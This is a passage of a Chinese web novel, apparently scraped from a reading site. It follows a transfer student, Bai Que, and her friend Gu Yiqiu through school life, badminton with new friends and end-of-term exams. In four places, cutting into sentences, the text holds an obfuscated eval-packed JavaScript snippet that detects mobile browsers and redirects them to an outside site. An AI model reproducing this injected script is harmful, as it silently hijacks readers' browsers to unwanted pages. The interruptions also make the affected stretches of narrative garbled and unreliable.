宝坪镇小学的老师,有的严厉,有的亲和,但无论在课堂上是什么样子,课后永远是很平易近人,很温柔的。 所以白鹊其实也没有见过所谓的“坏老师”到底是什么样子,她只在电视剧里看到过,那种恶霸老师,恶霸同学,整天在学校里横行霸道,还常常针对班级里的转学生……她就是转学生啊! 好在,至少在目前看来,白鹊见到的新老师都挺好的,说话轻声细语,脸上也常常带着微笑,有位头发卷卷的女老师路过的时候还主动伸手,帮白鹊整理了一下衣摆。 看来新学校的新老师们也都是大好人啊! 第三,新学校的校服好看吗? 宝坪镇小学也有校服,但基本上没有人穿,省城的学校却不同,这里规定学生在校内必须要穿校服。 在知道这个规定之后,白鹊就非常关心校服的款式。 这个问题倒是很快就得到了答案—— 报道当天下午,白鹊就领到了新校服,发校服的老师说,开学第一天会有电视台的人来录像,在操场上拍大合照,所以明天一定要换上校服再来上学。 白鹊连忙赶回家,把新校服洗好烘干了。 省城一小的校服是藏青色的,运动风格,和全国大部分中小学生的校服款式都没有太大区别,但做工还不错,布料绵软,针脚也很细密。 白鹊换上衣服,很是满意,她催促顾一秋也赶紧换上,拿出自己的翻盖手机,给两人拍了一张合照。 以上,就是白鹊对于新学校全部的感想了。 在真正走进教室,坐在座位上之后,白鹊原本的一些担忧也消散了,她不得不承认,当虚无缥缈的想象落到实处之后,好像真的一点也不可怕了。 好吧,她这样接受良好,可能和顾一秋也和她一起到了新学校有一定的关系。 她的计划终究还是成功了,身边有人陪着的感觉真好! …… 对于顾一秋也会到省城来读书这件事,白鹊其实是有所预料的。 宋凌峰暗示得那么明显,老是对顾一秋问东问西,偏偏不肯明说,难道他以为别人看不出来吗?哼。 白鹊觉得大人有时候做事也是很反复的,很多事情都是一开始不赞成,后来又自己改了主意,如果不是她一开始就坚定想法,找准机会,兵行险着——把顾一秋偷偷藏在后备箱带走——还不知道这事最终会变成什么样呢! 这样跌宕的过程,把白鹊的离愁别绪都给冲淡了,她本来想着,算了,没关系,我已经成长了,至少这几天我们还一起玩了,怎么想都是赚到了,就算顾一秋不来也没关系…… 她就这样不断自我安慰着,直到爸爸又带着顾一秋从宝坪镇回到了这里,哈哈哈哈哈,白鹊仰天长啸,真是太好啦! …… 不过,美中不足的是,顾一秋虽然和她又重新成为了校友,但两人却没能成为同班同学。 或许是因为同一个班不能一次性接收太多的插班生吧? 总之,白鹊在三年级三班,顾一秋在三年级七班,这栋教学楼每层只有三个班,白鹊和顾一秋分别在一楼和三楼,中间隔了整整四道楼梯。 今天是星期四,上午的第一节课是语文课,白鹊坐在靠窗的位置,一边听课,一边看窗外的桂花树。 教学楼前面有两棵桂花树,正对着教学楼的两个阶梯口,桂花树的树冠刚好和二楼齐平,有时候白鹊从树下路过,会看见二楼的一些同学正尝试着用拖把杆子去挑树上的桂花。 每当这个时候,白鹊就很羡慕二楼的同学。 不过,那些同学刚开始动手,就被在楼层里巡视的教导主任给抓住了,教导主任的目光四处扫射,白鹊赶紧缩着手脚逃走了,临走前还不忘捡一把地上的桂花。 窗外有风,尽管只是一点点微风,白鹊吸了吸鼻子,她感觉整个教室都充满了香气。 “咳!看黑板!这篇课文是重点!”语文老师提高了嗓门。 白鹊赶紧扭过头来,认真地盯着黑板了。 这个学校和以前用的明明是同一套教材,但在老师的口中却多了很多衍生的内容,增加了很多重点、很多考点,这大概就是,嗯,办学质量的不同吧。 白鹊不是很喜欢这样的变化,但也在努力适应中。她觉得新学校既有好的地方,也有不好的地方,两者叠加在一起,刚好可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068838|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抵消,所以,她决定试着真正接受这个学校! 放学后,老师布置了很多作业,让白鹊刚燃起的热情又飞快地灭了一点。 前后左右的同学都和白鹊说了再见,提着书包走了,白鹊还在慢悠悠地收拾东西,她蹲在地上,伸长了胳膊去掏课桌深处的桂花。 她听到有很轻的脚步声停在了教室门口。 白鹊便抬起头来,说:“我们班今天的作业好多啊,你们呢?” 顾一秋站在三班的教室门口,没有进来,他说:“应该都一样吧。” 白鹊不相信,“你是不是已经做完了?” 顾一秋不回答了,他问:“你在找什么呢?” 又过了几分钟,教室里没有其他同学了,顾一秋便走了进来,白鹊此时也收好了书包,一把甩在背上,说:“走!” 两人走出教学楼,路过了一个孔子雕像,又路过了一个外国教育家雕像,再走一百米就是学校大门了。 顾一秋已经看见了宋叔叔的身影,他正靠在学校门口的一棵树下出神,学校门口有很多家长,有的拿着水杯,有的拿着衣服,都在张望等候着。 顾一秋点了点头,和白鹊挥了挥手,“那我先回宿舍了。” 白鹊有点失落,她说:“好吧,再见,我又要回去写作业了。” 两人在校门口分别,白鹊走到了宋凌峰面前,用力拍了他一下,“喂!老爸!” 宋凌峰猛地抬头,哈哈笑了两声,接过白鹊的书包,带着她穿过马路,回家了。 一开始,宋凌峰是不打算让顾一秋住校的,家里房子离这么近,走读多方便啊,而且在家住肯定比在学校舒服方便多了。 但没想到,顾一秋和他奶奶的态度都很坚决,说他必须要住宿,不然宁愿不去省城上学。 宋凌峰不太理解顾奶奶为什么要在这种小事上这么坚持,他本来就要接送白鹊上学放学,多一个顾一秋也只是顺手的事,小孩子而已,吃住也花不了几个钱,家里地方大,也够住,何必要这样见外呢? 白伊水骂他是不是刚化作人形,所以不通人性,“人家是觉得,不能过多地麻烦别人,不想占便宜,既然学校可以申请住宿,也不是不可以啊。” 宋凌峰纳闷的就是这一点,“我不觉得麻烦啊,多大点事儿。” 但归根结底,住宿与否还是要看本人的意愿,顾一秋也想要住宿,那就申请住宿吧。 宋凌峰特意看了看学校的住宿条件,六人一间,有独立卫生间,每层楼都有生活老师会照看着,学校食堂也会及时供应早餐、晚餐,总的来说,是可以接受的。 对这个结果有些伤心的大概只有白鹊一个人,她原本还盘算着,如果每天放学都可以和顾一秋一起写作业,那岂不是……嘿嘿…… 唉! 12. 第 12 章 时间过得真快,窗外的风越来越冷,桂花树上的桂花也越来越少。 白鹊换上了加厚版秋季校服,还在校服里多穿了一件厚厚的连帽卫衣。 老师说,今年冬天会比较冷,所以学校正在考虑提前一周放寒假。 教室里一片欢呼。 老师又说,所以呢,我们会提前开始期末考试,大家做好准备吧,估计下个月初就要考试咯。 教室里一片沉默。 大家原本想哀嚎的,犹豫了一下,还是克制住了。 这节是数学课,数学老师正在讲整数与分数,白鹊翻看着课本,翻着翻着,趴在了课桌上。 不过她只趴了一小会儿,很快就重新坐直坐正了。 据说学校最近要评优评先,上课的时候教室外面随时都有老师在巡查,她可不能让班级扣分。 白鹊想要在期末考试拿一个好成绩,所以这节课听得格外认真。 下课之后,她没有立刻跑出教室,而是翻开了练习册,开始做数学作业。 同桌很震惊,双手撑在桌子上,质问她:“白鹊,你今天怎么了!” 白鹊只好又放下了笔,她说:“好吧好吧。” 她离开座位,和同桌手牵手一起上厕所去了。 不过,白鹊今天确实是在有意地利用各种碎片时间,见缝插针地写作业。 今天周五了嘛,她想赶快把作业写完,这样周末就不用把作业带回家,可以更放松地玩了。 这一天,白鹊过得很是辛苦,她一直埋头苦写,写得浑然忘我,等到下午最后一节课开始的时候,她终于也写完了最后一份作业。 只是,到了这时候,大功告成,她已经没有预想中那么开心了,反而感到一种前所未有的疲惫,她像一个真正的大人那样,深沉地叹了口气。 不过,等到放学铃敲响的时候,她又变得很开心啦,快乐的周末! 每次到了周五放学的时候,白鹊收拾书包的动作会变得非常快。 今天更是如此,由于她作业都做完了,要带的东西变得更少了,她飞快清空了桌面,手臂几乎抡出残影,抢在所有同学前面,第一个冲出了教室。 她没有跑远,而是等在了楼道里,她找了个比较隐蔽但又能及时看到楼梯的角落,等顾一秋从楼上下来。 只是,等了好一会儿,等到教学楼里的学生都差不多离开了,顾一秋还没下来。 白鹊甚至听到了教室门落锁的声音,她探头一看,有一个腰上挂着钥匙串的老师正在挨个检查教室,给空教室上锁。 三班的门锁上了,她的同学们都已经走了。 白鹊有些纳闷,她走到教学楼前面的空地往楼上看,她看见三年级七班的教室还亮着灯,好吧,可能他们班有什么事吧,那就再等等好了。 白鹊抓着书包带子在原地晃悠,慢慢踱步,不知不觉又走到了桂花树下。 秋天已经过去了,桂花也都几乎掉完了,现在这就是一棵普普通通的绿色大树。 可能是心理作用吧,仔细去闻,好像还是能闻到一点点幽香。 白鹊正抬头看树呢,忽然听见背后传来一声呼喊,然后是一阵急促的脚步声,白鹊转过头,看见一个男生跑到了自己面前。 风很冷,那个男生却只穿了一件短袖校服,他手里握着一个羽毛球拍,气喘吁吁地问:“同学,你看到我的羽毛球没有?” 啊?白鹊一直盯着树梢,没看见什么羽毛球啊,但是看他这么着急的样子,她也连忙低下头,四处寻找。 找了好一会儿,就连旁边的灌木丛都找了,还是没有。 这时候,那男生后面又跟来了几个学生,他们人手一个羽毛球拍,有人手里还拿着几个非常破烂的羽毛球,都很着急。 另一个男生说:“球就是往这边飞的,这里只有你一个人啊,同学,你真的没看到吗?” 白鹊被问得更茫然了,她说:“对啊,没看见,所以你们为什么要把羽毛球打这么远啊。” 一个女生说:“找不到就算了吧,我们明天再打。” 其他人却很犹豫,有人说:“明天我没时间了,我要去上补习班。”大家都纷纷点头。 如此这般讨论了一阵,那第一个跑来的男生又把目光投向了白鹊,犹豫地问:“你不会把羽毛球藏起来了吧。” 白鹊觉得他有点不正常,她说:“啊?我为什么要这么做啊?” “我不知道啊,”那男生小声嘟囔,“这羽毛球还挺贵的。” 白鹊有点生气了,这人什么意思啊,她大声道:“没看到就是没看到,别再烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068839|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我了!” 那男生“哦”了一声,有点不服气的样子,但可能被她的气势震慑到了,没有再说什么。 这时,白鹊终于听见楼道里传来跑动声,顾一秋的身影在楼道里一跳一跳的,快速移动着,他从三楼飞奔下来了。 白鹊不再理会这群莫名其妙的人,拉着顾一秋就往学校大门的方向走。 顾一秋倒是停下了脚步,频频回过头张望,他问:“怎么了?那些人刚才是在和你吵架吗?” 他站在原地不动,白鹊只好用力扯着他往外走,说道:“没有啦,我又不认识他们,你今天怎么这么晚啊?” 顾一秋终于把头扭回来了,也恢复了正常的行走速度,他说:“郑老师留下了几个同学,问我们要不要去参加一个数学联赛。” 不得不说,数学联赛,真是一个一听就很可怕,但又很厉害的词。 白鹊忍不住惊叹,“哇……” 顾一秋等她继续往下说,白鹊却已经说完了。 顾一秋问:“你觉得我应该去吗?” 白鹊两手抱在胸前,看了他一眼,“这还用问吗,你肯定会去的。” 顾一秋一想,确实是这样,他若有所思,点了点头。 白鹊此时更在意的是另一件事,“郑老师……郑老师为什么不在我们班说这件事呢,她区别对待!” 郑老师是三年级数学教研组的组长,同时也是三班、五班、七班的数学科任老师。 白鹊挺喜欢郑老师的,所以现在略微有点失落,她不想参加什么数学联赛,只是不喜欢这种被排除在外的感觉。 顾一秋欲言又止,白鹊举起一只手掌,做制止状,“好了,你不用再说了。” 郑老师为什么不告诉其他同学?答案是显而易见的,因为其他同学都没有参赛的资格啊,当然也没必要通知了…… 顾一秋也举起一只手掌,他说:“不是,我是想说,你的帽子里……” “为什么会有一个羽毛球啊?” 说着,顾一秋从白鹊的卫衣帽子里拿出了一只崭新的羽毛球。 白鹊接过羽毛球,和他面面相觑。 白鹊踮着脚往教学楼后面张望,那片空地里没有人。 那群羽毛球狂热爱好者刚才突然出现,现在又突然消失了。 13. 第 13 章 新的一周,白鹊有了新的目标,她开始在学校里找人,她要找的是一个不知名的酷爱打羽毛球的男同学。 她不仅自己找,还发动前后左右所有相邻的同学一起去找,白鹊给出了寻人的关键信息,“这个人很好认,这么冷的天,他只穿了一件短袖。” 同学们看向窗外的小雨,有些怀疑,“不会吧?” 白鹊坚定地点头,“真的,如果不是短袖,那就是只有一件薄外套,人群里穿得最少的那个人就是他了。” 同学们纷纷表示佩服不已。 正好下节课是体育课,白鹊打算趁着空闲时间去各个教学楼都找一找,去布告栏看看有没有班级合影什么的。 外面在下雨,体育老师原本打算把这节课让给其他主科老师,架不住同学们的苦苦哀求,大手一挥,把同学们带到了室内体育馆。 室内体育馆里还有几个班也在上体育课,各自占据了一块区域在自由活动。 体育老师吹了声口哨,同学们立刻作鸟兽散,白鹊再回过头,身边只剩下自己的同桌小严了。 同桌小严看向远处正围在一起玩游戏的人群,抓住白鹊的胳膊就要往那边走,白鹊连忙说:“等一下!我还要去找人呢。” 小严有点失望,看了看前面人群的背影,又有点蠢蠢欲动,白鹊便说:“你先去玩吧,等我把人找到了,我一定天天陪你玩!” 听了这话,小严快乐地走了。 其实,白鹊嘴上说得轻松,心里却有点没底,说实话,当时她都没看清楚对方长什么样子,只知道是个和自己差不多年纪的男生,那他应该也是三年级的吧? 看顾一秋当时的反应,顾一秋也不认识他,那就可以先排除两个班级,三年级一共有十五个班,还剩下十三个班,任务很艰巨啊! 白鹊爬上一层层阶梯,站在了体育馆的高处。 自上而下俯视去看,体育馆里的人真不少,至少有三个班的样子,有的人在打乒乓球,有的在跳绳,还有的只是趴在栏杆上发呆,可能是场地受限吧,她没看见哪里有打羽毛球的。 不管了,既然体育馆里就有这么多疑似人选,那就先排除一下场馆里的人,试试看能不能用羽毛球召唤出她想找的人吧! 白鹊赶紧去找体育委员,体育委员又去找了体育老师,经过层层上报,白鹊得到批准,成功拿到了器材室的钥匙。 器材室里光线昏暗,空气也差,白鹊屏住呼吸,在框子里翻找一通,还尽力挑选了一下,拿到了一副不那么歪歪扭扭的羽毛球拍,和一个还没有散架的羽毛球。 体育委员已经先一步跑走,白鹊一时间也找不到可以一起打羽毛球的人——其实她还不会打呢——她干脆把拍子拿在手上,一下一下地颠着球玩。 她正思考着,要找一个最显眼的地方挥舞羽毛球拍,要尽可能吸引更多人的注意……她正在四处张望呢,忽然一个人从斜对面滑铲过来,停在了她面前。 眼前这个人确实是个男生,年纪看着也和自己差不多,但他穿了两层校服,还有一件高领毛衣,所以白鹊一时间不能确定他到底是不是那天那个人。 白鹊还在犹豫呢,这人开口就说:“果然是你!” 好吧,现在可以确定了。 赶在他再次开口之前,白鹊一口气把上次的羽毛球事件从头到尾讲了一遍。 白鹊语速飞快,讲得是绘声绘色,活灵活现,最后,她还从兜里掏出了那只崭新洁白的羽毛球——是的,她一直把它随身携带,就是为了现在这个时刻。 果然,对面的男生的神情飞快变化,一时震惊一时不屑,最后又变成释然,白鹊默默感叹,他的面部表情真是丰富啊。 这男生接过羽毛球,和白鹊握手言和,同时也为那天自己的态度道了歉。 白鹊也对他道歉,两人同时朝对方鞠躬,又同时起身,再对视时,两人眼中都有了点惺惺相惜。 白鹊说:“那么,再见吧。” 陌生男同学说:“原来,你也喜欢打羽毛球啊。” …… 白鹊看向自己手里的羽毛球拍,她有点不好意思,“其实我不会打。” 那男生慷慨道:“没关系,走吧,我陪你练一练,多练练自然就会了。” 这,好吧,白鹊远远看了一眼自己班级所在的地方,小跑两步,跟着这个新朋友打羽毛球去了。 * 又是一个周五,顾一秋从郑老师手上接过试卷,郑老师说:“不用贪多,一天做两套就够了。” 顾一秋说:“好的。” 这是近五年本省数学联赛的真题,每套试卷十二页,叠在一起也有厚厚一沓。 其实这项比赛是针对初、高中学生设立的,参赛者也都是中学生,只不过,省城一小作为一中的附属小学,历来有凑热闹的传统,老师会酌情举办一下同步的模拟竞赛。 没有奖品,没有奖状,只是沉浸式体验一下比赛的感觉,硬要说有什么好处的话,就当是为将来的竞赛做准备吧。 郑老师鼓励学生们多参加竞赛类的活动,不说别的,对心理素质的提升有很大的效果,这些学生将来会参加数不尽的考试,既然避免不了,就只能多加锻炼了。 顾一秋倒没想那么多,他觉得学习很快乐,解题很快乐,比赛更是非常快乐,几种元素组合在一起,简直就是生活为他准备的专属奖励。 入学考试顾一秋的数学是满分,其他科目扣了几分,但不影响他的总分是班级第一。 顾一秋自己有点汗颜,他虽然缺课一年,没有上过三年级,但其实他有偷偷看过三年级的教材,自己在家也常常做题,总觉得自己提前学过,有些胜之不武。 不过,接下来的各项考试,他也总是第一,班上同学们也从一开始的惊讶疑惑,变成了习以为常。 其实,小学的教学内容比较基础,单纯从分数上来说,同一个班上的学生不会拉开多大的差距,第一名和最后一名之间,可能只差了十多分。 仅仅看分数,好像没什么值得夸耀的。 但卷面上的解题思路、表达方式,可以传达出更多分数之外的差距。 总之,作为七班的班主任兼数学老师,郑老师是很看好顾一秋这个学生的。 教室外越来越安静了,三年级七班又是这栋楼最后一个落锁的教室。 顾一秋拽起书包,三步作一步地往楼下大跨步,中途被路过的老师制止,等老师走了,他又飞快往下跑。 他跑到三班门口的老位置一看,白鹊在这里。 三班的教室也早就空了,走廊和台阶下都没有人,顾一秋一时有点茫然,难道她不想等了,所以先回家了? 不,不会的,以顾一秋对白鹊的了解,她只可能突然出现,绝不会突然消失。 顾一秋在原地站了会儿,把原本随手拽着的书包重新背好了,走到台阶下,绕着教学楼四处转了一圈。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068840|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 正是深秋,操场边缘的一圈梧桐树在风中哗啦啦作响,一片卷曲的黄叶砸在了顾一秋的头上。 顾一秋摇了摇头,捡起落叶,忽然听到远处传来几声呼喊,夹杂着喝彩声。 他远远看到了白鹊的身影,原来她正在和那群新认识的朋友打羽毛球,她站的位置是操场的入口处,如果转过身来,可以清楚地看到教学楼的楼道。 但是,由于她太专注于眼前,已经很久没有往这边看了。 顾一秋往操场的入口方向走去,走着走着,又跑了起来。 这片空地上有七八个人,在场上打的有四个人,两人一方,正在打双打,严格说来,从性别配比来看,这还是男女混双。 白鹊那一队比分领先,她发了一个内旋球,对面没接上,围观的人群立刻又欢呼起来。 白鹊也哈哈大笑,她和队友快乐地击了个掌。 “白鹊!”顾一秋喊了一声。 白鹊往这边看来,她看见顾一秋,一下想起些什么,大声问他:“现在几点了?” 现在是六点半,顾一秋回答道:“马上七点了。” 说完,他走到升旗台旁边把白鹊的书包捡了起来。 白鹊赶紧放下了羽毛球拍,她和新朋友们打过招呼,加快步伐朝顾一秋跑来。 等她到了面前,顾一秋笑了一下,他说:“还以为你先走了。” 白鹊有点不好意思,“忘记先告诉你一声了,下次你也和我们一起玩吧。” 顾一秋看上去对这个提议兴趣不大,他拿着白鹊的书包往前走,越走越快。 白鹊虽然不理解,但也积极跟上了他的步伐,两人都铆着一股劲,竞走一般走到了校门口。 校门口的家长已经不多了,一眼扫过去,全是奶奶辈的年纪。 还是顾一秋先看到了宋凌峰,他指了指对面的方向。 宋凌峰把车停在了学校对面一个饭店门口,正在看路边的人下象棋。 白鹊跑到越野车旁边,拍了拍车门,宋凌峰这才回头,说:“哟,两位,放学啦。” 宋凌峰恋恋不舍地看了一眼棋盘,三步一回头地坐上了驾驶位。 这个周五宋凌峰难得不用出去应酬,提前两天就说计划好了,要带两个小孩一起去吃西餐。 白鹊对西餐的兴趣不大,她现在最感兴趣的就是羽毛球,她心心念念要练好羽毛球,在球场上大杀四方。 白鹊往前扒住椅子,问宋凌峰,“爸爸,你明天可以送我去公园吗,我和朋友约好了要一起打球。” 宋凌峰惊讶道:“啊?打什么球?就在小区楼下打不就好了嘛。” 白鹊只好又讲了一遍自己和新朋友认识的契机与始末,她说:“你不懂,环境是很重要的,反正我要去公园。” 宋凌峰有点为难,“可是我明天要出差啊,不然这样,你和一秋一起去,你们两个坐公交车,或者打车都可以啊。” 白鹊飞快摇头,“不行,他要做题,他要去参加比赛呢。” 顾一秋说:“不用,我已经把题都做完了。” 白鹊扭过头和他对视,顾一秋平静地点头。 许多老师都说过,题是永远做不完的,不过,白鹊也理解他想要出去玩的心情。 白鹊老练地拍拍他的肩膀,“好,好,好。” 宋凌峰也说道:“好好好,那就这么定了,现在快想想更重要的问题,待会儿点什么套餐啊!” 14. 第 14 章 周六上午九点,白鹊从家里出发。 她和顾一秋没有坐出租车,也没有选择其他的公共交通工具,他们两个人想呼吸一下新鲜空气,骑着一辆嘎吱嘎吱的老式自行车就出发了。 这辆自行车是宋凌峰的,平时扔在阳台不用,车链子都快锈到一起了,白鹊往链子上抹了点食用油,总算是能骑走了。 只有一辆自行车,两人你载我,我载你,走走停停,终于在十点零十分到达了约定好的地方。 这是一个新建的体育公园,有很多不同类型的活动场地,其中就包括室内羽毛球场。 公园里人很多,时间也有点晚了,白鹊担心没有空位了,一路狂奔着跑进球场,幸好,她的小伙伴们提前到了,已经占好了一个位置。 白鹊放下东西,向大家介绍跟她一起来的顾一秋。 然后,她把正坐在地上系鞋带的一个男生薅起来,对顾一秋说:“这就是我的恩师伯乐好搭档,三年级一班的陈桥!” 陈桥同学站起来,他有点手忙脚乱,但非常热情,说道:“好啊好啊,欢迎欢迎,这下我们的队伍又壮大了。” 相比起来,顾一秋就没有那么热情了,他只是说:“你好。” 不过,顾一秋一直都是这样的啦,白鹊拉着他一起做了热身运动,然后冲上场,开始了羽毛球大战。 白鹊作为新手,水平可以说是相当不错了,发力方式和准确度都很好,和场上所有人都能打得有来有回,并且胜多负少。 顾一秋……他身体协调性也不错,学习能力也很强,但白鹊觉得他兴致不高,可能确实是不喜欢羽毛球这项运动吧。 白鹊喜欢运动,尤其是喜欢尝试以前没有接触过的运动项目,她喜欢那种很舒展的动作,喜欢那种活力满满的瞬间。 以打羽毛球为例,她最喜欢的就是跳起来一个扣杀,身体滞空的那一瞬间。 打了几场,顾一秋先退到场下去了。 白鹊抽空往那边看了几眼,顾一秋果然没有把试卷做完,他竟然把试卷折成方块揣身上了,铺平试卷后,他又从兜里拿出一只铅笔,低下头做题去了。 白鹊把注意力重新挪回眼前,对面是陈桥,她做了个假动作,成功又来了一记扣杀。 不知不觉就到了十二点,大家都不是很想回家吃饭,一起合计了下,决定就在附近的小面馆吃点东西,下午回来继续打。 白鹊很赞成这个主意,她看了一眼顾一秋,顾一秋点了点头,她说:“好啊,走吧!” 一群小学生浩浩荡荡走进了一家手擀面馆,店里没什么客人,老板主动提出帮他们把两张桌子并在一起,好让他们可以围在一起吃。 白鹊这一刻觉得很幸福,身边好热闹啊,有老朋友,还有新朋友,可以吃香喷喷的面条,吃完饭还可以接着去打羽毛球。 白鹊甚至感觉到了一种自由,她发现,像这样全然由自己安排的一天,原来是这么快乐。 其实平时宋凌峰对她也没有太多的管束,宋凌峰确实说到做到,尽可能地抽出了时间来照顾白鹊,但他又真的很忙,可以照顾,但做不到全天候照看。 一开始,宋凌峰会接送白鹊上学,等她熟悉了上学路线之后,他就没有再来接了,这也很正常,白鹊的家离得很近,走五分钟就到了。 不过,宋凌峰在家的时间也很少,工作日还好,五天里大概有三天他会回家,在家里过夜,一到周末,他不是去出差,就是去和其他老板应酬,常常不见人影。 白鹊和顾一秋偶尔自己做饭吃,更多时候宋凌峰会请来一个负责做饭的阿姨,把饭做好,然后离开。 白鹊一开始有些不习惯,甚至会觉得有一点点孤独,家里空空的,没什么说话。 虽然有顾一秋陪她,但顾一秋也有自己要做的事,他待在属于他的客房,或者书房,房门是打开的,但白鹊不想总是打扰他。 和朋友待在一起却不能玩,这怎么不是另一种孤独呢。 好在!从今天开始,一切都不一样了,白鹊发现了一种新鲜的周末打开方式,原来还可以这样啊。 她好像明白妈妈之前说的,“更多的选择”是什么意思了,虽然妈妈的本意可能不是让她给自己安排更多的课余活动,但,白鹊确实明白了! * 顾一秋又一次听见了“陈桥”这个名字。 现在是下课时间,他正在数学组的办公室里,向郑老师请教问题,忽然听见后面办公桌的两位老师说起了陈桥。 一个说:“你听说没,老陈他们家孩子那天跑到校长面前提意见,给老陈吓一跳。” 另一个说:“哦,你说陈桥啊,哈哈哈,他提什么意见了?” “他说,学校提供的体育器材太旧太老了,能不能补一批新的,他说素质教育首先要做的就是加强体育锻炼!” “哎哟,真逗乐啊这孩子,那老陈在旁边听着,他怎么说的?” “……” 面前郑老师问:“这样讲是不是就清晰多了?” 顾一秋回过神,说:“嗯,我知道了,谢谢老师。” 郑老师也“嗯”了一声,把手边的一沓习题册推过去,“把作业拿到班上发一下吧,还有,告诉他们,下午第一节课和第三节课换一下。” 顾一秋点点头,捧着习题册走出办公室,回身关门的时候,他看了看刚才说话的两位老师,嗯,不认识。 又一个课后,顾一秋在教学楼下布告栏的“教师风采”那一页终于找到了一个疑似“陈老师”的人。年龄,长相,都比较符合。 不是小学的老师,而是初中部的物理老师,上面介绍写着高级教师,曾获得多少奖项云云。 顾一秋也不知道自己为什么忽然跑来看这个,可能就是一些多余的好奇心吧。 既然到了楼下,他顺路就去了三班门口,他往教室里面张望了下,没看到白鹊。 白鹊座位旁的女生倒是看到了他,也认出了他,伸手戳了戳白鹊的位置,摆了摆手。 顾一秋就礼貌地点了头,上楼回自己教室了。 *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068841|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>很快就到了期末考试。 考试的时候白鹊一点也不紧张,等到所有科目都考完之后,她忽然开始担心了。 她有预感自己的考试成绩不会太好,这段时间她有点沉迷打羽毛球了,她原本是一个多么正常的学生,如今也变成了羽毛球狂热爱好者。 唉,她这段时间无心学习,也把考试完全抛之脑后了。 其实白鹊一直都不是一个对学习多么上心的人,她可能真的不明白学习有什么意义。 至于考试,既然有及格不及格之分,那不就说明,只要及格就好了吗?为什么非要不断地进步,要追求更高的分数呢? 当然,这些都是她从前的想法,自从变成了转学生,她的心态就有了改变。 并不是说一个学习氛围浓厚的环境引导她奋发向上,而是,她意识到一点——妈妈为了让她好好学习,竟然可以做出这么多改变,她懂得了妈妈的决心,所以不想让她失望。 啊啊啊啊啊,但是!考试完再说这些,已经来不及了啊! 寒假开始的时候,也是成绩单下发的时候。 白鹊战战兢兢地接过成绩单一看,咦,其实还好,一百分的卷面,她每科都考到了九十分以上,班上一共四十五个人,她的成绩排在第九名。 怎么回事?难道她是学习天才? 哈哈哈哈,白鹊畅想了一会儿,又回归现实,看来以前徐老师说的真的没错,课本上的知识很简单,只要上课认真听,作业认真做,考试再差也不会差到哪儿去的。 老师在讲台上讲寒假注意事项,教室内外都开始躁动起来,白鹊也很期待,放假咯,她可以回老家了! 十多分钟后,同学们一窝蜂涌出了教室门。 白鹊哼着小曲儿,背着书包,先是去了一趟一班,和陈桥约好下学期继续打羽毛球,然后再走到楼道,等着顾一秋下来。 学期结束了,就连七班也不留堂了,这一次,没过一会儿顾一秋就下楼了。 他跑得很快,看到白鹊的那一瞬间又恢复了匀速,很稳重地走了下来。 白鹊古怪地看了他一眼,紧接着就问:“你考了多少分。” 顾一秋正要回答,白鹊忽然捂住了耳朵,她说:“不不不,先别告诉我,先让我高兴一会儿吧。” 顾一秋原本都把成绩单拿出来了,只好又重新对折,塞了回去。 校门口人头攒动,激动的不只是学生,家长也很躁动,不过他们是喜是忧就不得而知了。 人群里,宋凌峰格外出众,他不仅自己穿了件皮衣,手上还提了两件皮衣,那尺码一看就是童装,偏偏风格又很朋克,吸引了不少目光。 白鹊这样一个不畏惧别人眼光的人,此时都有点不好意思,她低着头走过去,试图把她爸的胳膊给拉下来。 白鹊没能撼动分毫,反而被宋凌峰一把举了起来,在空中转圈。 这人不知道在高兴些什么,喜气洋洋的,好像放假的人是他一样。 就这样,三个穿皮衣的潮人驾着车返乡了。